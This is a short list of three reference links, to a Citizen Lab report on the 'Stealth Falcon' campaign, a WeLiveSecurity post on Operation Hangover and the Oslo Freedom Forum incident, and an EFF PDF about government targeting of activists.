https://citizenlab.ca/2016/05/stealth-falcon/

https://www.welivesecurity.com/2013/06/05/operation-hangover-more-links-to-the-oslo-freedom-forumincident/

https://www.eff.org/files/2016/08/03/i-got-a-letter-from-the-government.pdf
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